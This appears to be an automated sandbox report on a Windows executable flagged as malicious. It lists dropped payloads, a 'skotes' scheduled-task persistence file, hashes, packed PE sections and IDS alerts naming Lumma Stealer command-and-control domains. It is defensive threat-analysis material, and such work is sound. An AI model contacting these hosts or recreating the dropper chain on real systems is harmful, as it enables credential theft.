Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........@.. ...`....@.. ..................................`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...namxoaly..).......)..:..............@...dbejnace. ... .......).............@....taggant.@...@*.."....).............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1826304
Entropy (8bit):	7.948040253465346
Encrypted:	false
SSDEEP:	49152:YcKzwRCCynNzs2VkD7Z5cR8OXexpswu5tV:G5BnpsokgR8Oursb3V
MD5:	C4E6EE23E53A5DB6BBBA123A40F78633
SHA1:	886CFED596887173B9818B3F98E6A2A5C4F09305
SHA-256:	23FC1818168EAEA13C4C8561E41C2088D2D0E4B822868839DC0FDB53C6D68396
SHA-512:	33BE9B5035F85A894B680F990AC7D6644161D42F9C6214C074FF232519E1DA808D16B1D934D44B27555CA0A80F8128CF81A3F300D113889675EB07F8489D2FFB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......0i...........@..........................`i..........@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..)...%......:..............@...yquqvagg......O..\|...<..............@...kkcxorqu..... i.....................@....taggant.0...0i.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1826304
Entropy (8bit):	7.948040253465346
Encrypted:	false
SSDEEP:	49152:YcKzwRCCynNzs2VkD7Z5cR8OXexpswu5tV:G5BnpsokgR8Oursb3V
MD5:	C4E6EE23E53A5DB6BBBA123A40F78633
SHA1:	886CFED596887173B9818B3F98E6A2A5C4F09305
SHA-256:	23FC1818168EAEA13C4C8561E41C2088D2D0E4B822868839DC0FDB53C6D68396
SHA-512:	33BE9B5035F85A894B680F990AC7D6644161D42F9C6214C074FF232519E1DA808D16B1D934D44B27555CA0A80F8128CF81A3F300D113889675EB07F8489D2FFB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......0i...........@..........................`i..........@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..)...%......:..............@...yquqvagg......O..\|...<..............@...kkcxorqu..... i.....................@....taggant.0...0i.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1949184
Entropy (8bit):	7.949290384082144
Encrypted:	false
SSDEEP:	24576:kaT5t+ik0Rozvp0cFhKxFYytrcDsUfZOOP/cA6pM5wJ/4Q/nUvRCu03ZgIMEMA:kalGvp0AKMysZdPOp9JQQ/yCNZKo
MD5:	E482A6DBDD0295FBA6C2780B1BE55B79
SHA1:	0433D67F31E6989469A1EC8B4E0A4CDA79842456
SHA-256:	8B365247040C95FF74ACA18A737693B482E1359B6C2193D1B9A123512C9FD14F
SHA-512:	3C8B7FE46DBD5F81FA19AADAFE39C5CFEF808EBBCD9FA40587AFADEFA97062D8834CE1A943397A523EE52277F4ED8299CCDF37FDF128CD2DF1E29166513186C6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@...........................M.....Z4....@.................................W...k...........................X.L...............................L..................................................... . ............................@....rsrc...............................@....idata ............................@... .`+.........................@...dmqydvws......2.....................@...sqmqmqay......L.....................@....taggant.0....L.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1949184
Entropy (8bit):	7.949290384082144
Encrypted:	false
SSDEEP:	24576:kaT5t+ik0Rozvp0cFhKxFYytrcDsUfZOOP/cA6pM5wJ/4Q/nUvRCu03ZgIMEMA:kalGvp0AKMysZdPOp9JQQ/yCNZKo
MD5:	E482A6DBDD0295FBA6C2780B1BE55B79
SHA1:	0433D67F31E6989469A1EC8B4E0A4CDA79842456
SHA-256:	8B365247040C95FF74ACA18A737693B482E1359B6C2193D1B9A123512C9FD14F
SHA-512:	3C8B7FE46DBD5F81FA19AADAFE39C5CFEF808EBBCD9FA40587AFADEFA97062D8834CE1A943397A523EE52277F4ED8299CCDF37FDF128CD2DF1E29166513186C6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@...........................M.....Z4....@.................................W...k...........................X.L...............................L..................................................... . ............................@....rsrc...............................@....idata ............................@... .`+.........................@...dmqydvws......2.....................@...sqmqmqay......L.....................@....taggant.0....L.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1949184
Entropy (8bit):	7.949290384082144
Encrypted:	false
SSDEEP:	24576:kaT5t+ik0Rozvp0cFhKxFYytrcDsUfZOOP/cA6pM5wJ/4Q/nUvRCu03ZgIMEMA:kalGvp0AKMysZdPOp9JQQ/yCNZKo
MD5:	E482A6DBDD0295FBA6C2780B1BE55B79
SHA1:	0433D67F31E6989469A1EC8B4E0A4CDA79842456
SHA-256:	8B365247040C95FF74ACA18A737693B482E1359B6C2193D1B9A123512C9FD14F
SHA-512:	3C8B7FE46DBD5F81FA19AADAFE39C5CFEF808EBBCD9FA40587AFADEFA97062D8834CE1A943397A523EE52277F4ED8299CCDF37FDF128CD2DF1E29166513186C6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@...........................M.....Z4....@.................................W...k...........................X.L...............................L..................................................... . ............................@....rsrc...............................@....idata ............................@... .`+.........................@...dmqydvws......2.....................@...sqmqmqay......L.....................@....taggant.0....L.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\content-prefs.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 5, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 8, cookie 0x6, schema 4, largest root page 8, UTF-8, vacuum mode 1, version-valid-for 4
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	0.04905141882491872
Encrypted:	false
SSDEEP:	24:DLSvwae+Q8Uu50xj0aWe9LxYkKA25Q5tvAA:DKwae+QtMImelekKDa5
MD5:	8736A542C5564A922C47B19D9CC5E0F2
SHA1:	CE9D58967DA9B5356D6C1D8A482F9CE74DA9097A
SHA-256:	97CE5D8AFBB0AA610219C4FAC3927E32C91BFFD9FD971AF68C718E7B27E40077
SHA-512:	99777325893DC7A95FD49B2DA18D32D65F97CC7A8E482D78EDC32F63245457FA5A52750800C074D552D20B6A215604161FDC88763D93C76A8703470C3064196B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......\|....~.}.}z}-\|.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.035455806264726504
Encrypted:	false
SSDEEP:	3:GtlstF1x5uG7jwqIl1lstF1x5uG7jwAl/lT89//alEl:GtWtPuqjwqYWtPuqjwAlx89XuM
MD5:	3A33B1A4C18CE37AD49A2FC5B52A9FE6
SHA1:	8F17D8CDD96DEFFBFBCBF38145F081017CB24896
SHA-256:	434CCAC3A7C68BFAC2C27619AFF4FEBDC7DD155A35F7FAD5E2447EF8E829CF9B
SHA-512:	F6AE15EA857FF1AAFD6418CAA2BF19C78E2741C98B89FCD7A262594F95A756C97220CE3963D5908DCFFC1C854F3752E082D0BC14D1ACE75C9CD8CA471B156639
Malicious:	false
Preview:	..-....................."..H.+..:.N:.#....H'....-....................."..H.+..:.N:.#....H'..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	32824
Entropy (8bit):	0.037412845147985305
Encrypted:	false
SSDEEP:	3:Ol1BuGRV/gNfAPqaGa9Q5aG8aEJ/Nmhml8XW3R2:KrukdgNAPhnr/Ehm93w
MD5:	67FDEA53BA322CB4B0805C1C9AD98150
SHA1:	9DF8A2CA53506C6787ADF242AB33417C969FE749
SHA-256:	103E4894016F758828CF3D8C5AC890A92AF15D9312DED1FAE68417A200F51103
SHA-512:	D09BED310061DA8A7BBB13021CFFFB2F934385403CA513BFE30F3154A3F1FC70A12ED80D67C38B1225F6BAB717D61F0500928374043054ADB5404C009B51EF1E
Malicious:	false
Preview:	7....-..........:.N:.#.q.Ma..@........:.N:.#H.."..+.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1765), with CRLF line terminators
Category:	dropped
Size (bytes):	10490
Entropy (8bit):	5.501469155763139
Encrypted:	false
SSDEEP:	192:NzOneRdkYbBp61nmUzaX/6aRMKWPzDNBw8dT9mSl:NzQeymUtomrwAw0
MD5:	E3C7B11712532212377C3C3221279E6D
SHA1:	EB4E43CA951F573D823D00F1CEB09B2A7986A3B9
SHA-256:	9FD39F44A34A4F9DE00DCBF927DF6EAFEFE017DA2923846EF98EDF1180E038C2
SHA-512:	65F4FC19020FD055606B51EC09CF8F8AD6F00F5544D944B6423EDF9D9225B26EBF89ACA24AC7421DB78D3AF8CE93179856C7E4C2EB489FD5C428455CDF97636D
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "38829aa4-f57e-4fd8-bfd3-d094d57ae30f");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696493966);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696493970);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1765), with CRLF line terminators
Category:	dropped
Size (bytes):	10490
Entropy (8bit):	5.501469155763139
Encrypted:	false
SSDEEP:	192:NzOneRdkYbBp61nmUzaX/6aRMKWPzDNBw8dT9mSl:NzQeymUtomrwAw0
MD5:	E3C7B11712532212377C3C3221279E6D
SHA1:	EB4E43CA951F573D823D00F1CEB09B2A7986A3B9
SHA-256:	9FD39F44A34A4F9DE00DCBF927DF6EAFEFE017DA2923846EF98EDF1180E038C2
SHA-512:	65F4FC19020FD055606B51EC09CF8F8AD6F00F5544D944B6423EDF9D9225B26EBF89ACA24AC7421DB78D3AF8CE93179856C7E4C2EB489FD5C428455CDF97636D
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "38829aa4-f57e-4fd8-bfd3-d094d57ae30f");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696493966);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696493970);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 4, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.042811512334329
Encrypted:	false
SSDEEP:	24:JBkSldh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:jkSWEUo9LXtR+JdkOnohYsl
MD5:	21235938025E2102017AC8C9748948A4
SHA1:	A1EED1C4588724A8396C95FC9923C0A33B360FF8
SHA-256:	E34B06B180E3F73DC8E441650BB7FE694A9D58E927412D6ED40B0852B784824E
SHA-512:	D334B419A2A75179C17D7F53BF65FCC132ADE03B21059F0007ACDBB08284A281D8CE1C1CC598E6A070024D0DAE158E2E9618E121342BE068E87A051FE33D6061
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4317403581008064
Encrypted:	false
SSDEEP:	6:ToMlVX7L1UEZ+lX1CGdKUe6tkHs+Zgty0lbEt0:jlR7BQ1CGAFBZgtVAt0
MD5:	AA8119382101B4C93265A8AA26E4BBB4
SHA1:	ABA93C284A63C234EFD86F5BA4E54DDFB5550272
SHA-256:	C72EE9EC9D5AC0FB69A8BAD8F685A7EABB26BB350057371285F36AE2F449948B
SHA-512:	1CC90AF2097964E59B66BA433C05CC1B38FF25AC9B504C90C42DB03BDF9432A0A32E0D6D9136ACF1086D695BE88D1990A54A7B713757F527A90E16E7E764B6A2
Malicious:	false
Preview:	......G.i.@.k[gx..?F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.h.u.b.e.r.t.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........H.U.B.E.R.T.-.P.C.\.h.u.b.e.r.t...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.540862604663113
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'008'000 bytes
MD5:	2ddf3e96c0a2e790aa36bcc1f2607999
SHA1:	7bc2092d410073dfae4e48e94277a55d01eee64f
SHA256:	178d3d7cf8356fb072de8ab0a493481c30c9f4b7559cec3f439a55a4135aee24
SHA512:	942825dbf074774c3b102b73c601be7faf040f34b4b25c542901fe0d59ac53203c13c974390310478c8239ba95a7268d5760035cd965bbdc74685fbde9006f75
SSDEEP:	49152:kW+Pg1Sq0yHppmdQIR2XEV4SO7dP5nHIs5n:n+o1SMppmdV2E+v7dVd5n
TLSH:	AED54BA2A509B2CFD88F27785727CEC2596D03F9472049C39CAD747ABE63DD011BAD24
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f.............................`1...........@...........................1.....p.....@.................................W...k..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x716000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66FFF14A [Fri Oct 4 13:44:42 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FDDBD074E2Ah
pinsrw mm5, word ptr [00000000h], 00h
jmp 00007FDDBD076E25h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5f057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5f1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x5d000	0x25e00	1bf754dd0213e77e84c7dadf1cb1ef0d	False	0.9995616749174917	data	7.985117311428661	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5e000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5f000	0x1000	0x200	fe72def8b74193a84232a780098a7ce0	False	0.150390625	data	1.04205214219471	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qpjfxxrc	0x60000	0x2b5000	0x2b4e00	9337a2feaff063019e5dc0bf83bd7060	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xsxailus	0x315000	0x1000	0x600	db5e8e4bcbd174a3e7299f2a8567bb37	False	0.6341145833333334	data	5.359641508017698	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x316000	0x3000	0x2200	0e95c171963a11dc116f3def6950814c	False	0.00666360294117647	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-22T19:24:19.178952+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.8	64181	1.1.1.1	53	UDP
2024-10-22T19:24:19.193396+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.8	62557	1.1.1.1	53	UDP
2024-10-22T19:24:19.206862+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.8	59103	1.1.1.1	53	UDP
